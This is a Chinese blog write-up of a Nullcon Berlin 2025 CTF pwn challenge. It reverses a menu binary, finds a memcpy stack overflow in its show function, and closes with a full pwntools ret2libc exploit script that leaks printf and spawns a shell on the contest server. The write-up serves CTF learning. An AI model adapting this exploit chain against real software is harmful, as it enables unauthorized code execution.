2025.09.04-NullconCTFBerlin-Fotispy1

题目简介

赛题链接见:2025-09-04 NullconCTFBerlin fotispy1

漏洞点分析

题目给了一个ELF、一个.so和一个ld,所以首先用patchelf修改程序对应的libc和ld

1
2
patchelf --set-interpreter ~/Pwn/2025-09-04-CTF/ld-linux-x86-64.so.2 ./pwn
patchelf --replace-needed libc.so.6 ~/Pwn/2025-09-04-CTF/libc.so.6 ./pwn

如图,替换成功后才能开始分析


之后运行程序,发现是一个菜单类型程序,提供了注册、登录、添加、显示四大功能,经过尝试发现必须注册、登录后才能添加歌曲

再checksec看一下,发现只开了NX:


然后拖进IDA看一下,首先观察main函数,这里先把main里一些重要函数和变量重命名成人类可读的形式,如图:


初步观察一下IDA左侧的plt表,不存在free函数,因此大概率和堆利用无关,是一个溢出题,所以要寻找溢出点

因此重点排查各个输入函数,看有没有溢出,首先看程序自制的读取输入函数get_input,如图:


第一眼看过去怀疑有off-by-one,但是代入程序中的maxSize参数=256计算一下,并结合deepseek分析,发现limit设置的没问题,没办法溢出

再回到main函数,分析reg和login函数,首先看注册函数:


注意到上图的17、18行username和passwd的存储位置,一个在qword_4040A0+v3,一个在它后面8个字节,分析得出username和passwd大概率是一个结构体类型

同时每一个结构体都存储在位于0x4040A0的一个数组类型的全局变量里

综合上述信息可以把reg函数变得更加可读一些,如图:


然而进一步分析发现并没有什么可用的溢出点,只是当username输入过长时会把后半部分当作passwd存起来,但好像对我们控rip并没什么用?

再看loging函数,如图:


发现calloc的大小完全超过了get_input设定的最大大小,因此这里也没有可用的溢出点

接着看add函数,如图:


结合之前运行程序的输出,以printf的交互信息作为线索,可以依次恢复v7、v8、v9的含义,并且结合猜出user结构体的经验,可以大胆猜测歌曲的title、who和album三个信息是存储在某个结构体里的

综上,得到可读的add函数如图:


但是,这个函数貌似也没有栈溢出?最有用的是泄露了一个printf函数的地址,现在我们因此有了关于libc的一切

最后只能看show函数了,有了分析add函数的经验,可以很容易恢复show函数的可读信息,如图:


但是,show函数里没有输入的交互点,看起来没有溢出?

不,注意到memcpy的拷贝大小实际是我们可控的,因为在add里面,我们输入的title、who和album三个成员的大小是由get_input返回的,最大可到256,但是dest距离返回地址只有0x15+0x8个字节,远远小于256,因此show函数里面存在溢出

综上,利用思路为:利用2号功能输入payload,调用3号功能劫持show函数的返回地址从而ret2libc

漏洞点利用

利用时还存在两个注意点:

第一,注意到show函数在走到ret指令之前会对rax解引用一次,而通过调试发现这个rax的值来自rbp-8,如图:


因此要控制rbp-8的值为可解析的地址,这里首先想到把printf的地址喂给rax,但这样会导致另一个问题:下面的jne指令会跳转从而到不了ret

因此第二个注意点即不仅要保证rbp-8有效,而且那个地址里的内容必须是0

这里通过vmmap查看程序区段,去bss段里面找0字节(因为程序的bss段一般会初始化=0),如图:


可以看到有很多地址里面有0字节,这里随便选择一个即可

综上,写出利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
targetELF="./pwn"
targetLibc="./libc.so.6"
context(os="linux",arch="x86_64",log_level="debug")
# context.terminal=["tmux","splitw","-h"]
LOCAL=1
REMOTE=2
DEBUG=3
prompt="Please enter your choice [E]: "
def Lauch(mode=LOCAL):
if mode==LOCAL:
ioTube=process(targetELF)
elif mode==REMOTE:
ioTube=remote("52.59.124.14",5191)
elif mode==DEBUG:
ioTube=gdb.debug(targetELF,"b *0x401997")
return ioTube

ioTube=Lauch(REMOTE)

def Register():
ioTube.recvuntil(prompt)
ioTube.sendline("0")
ioTube.recvuntil("[~] Please enter a username: ")
ioTube.sendline("admin")
ioTube.recvuntil("~] Please enter a password: ")
ioTube.sendline("12345")

def Login():
ioTube.recvuntil(prompt)
ioTube.sendline("1")
ioTube.recvuntil("[~] Please enter a username: ")
ioTube.sendline("admin")
ioTube.recvuntil("[~] Please enter a password: ")
ioTube.sendline("12345")


Register()
Login()
ioTube.recvuntil(prompt)
ioTube.sendline("2")
ioTube.recvuntil("[DEBUG] 0x")
printfReal=int(ioTube.recvline()[:-1].decode(),16)
open("leak.txt","w").write(hex(printfReal))

ioTube.recvuntil("[~] Please enter a song title: ")
ioTube.sendline("AAA")
ioTube.recvuntil("[~] Please enter a who AAA is from: ")
ioTube.sendline("BBB")

ioTube.recvuntil("[~] Please enter which album AAA is on: ")

offset=29
libc=ELF(targetLibc)
libcBase=printfReal-libc.symbols["printf"]

retAlignPadding=0x40101a

sysAddr=libcBase+libc.symbols["system"]
binshAddr=libcBase+next(libc.search("/bin/sh"))
pop_rdi=libcBase+0x277e5
payload2=b'1'*13+p64(0x4041A0)*2+p64(retAlignPadding)+p64(pop_rdi)+p64(binshAddr)+p64(sysAddr)

ioTube.sendline(payload2)
ioTube.recvuntil(prompt)
ioTube.sendline("3")
ioTube.interactive()

2025.09.04-NullconCTFBerlin-Fotispy1
http://0x4a-210.github.io/2025/09/05/pwn刷题记录/比赛题解/2025-09-04-NullconCTFBerlin-Fotispy1/
Posted on
September 5, 2025
Licensed under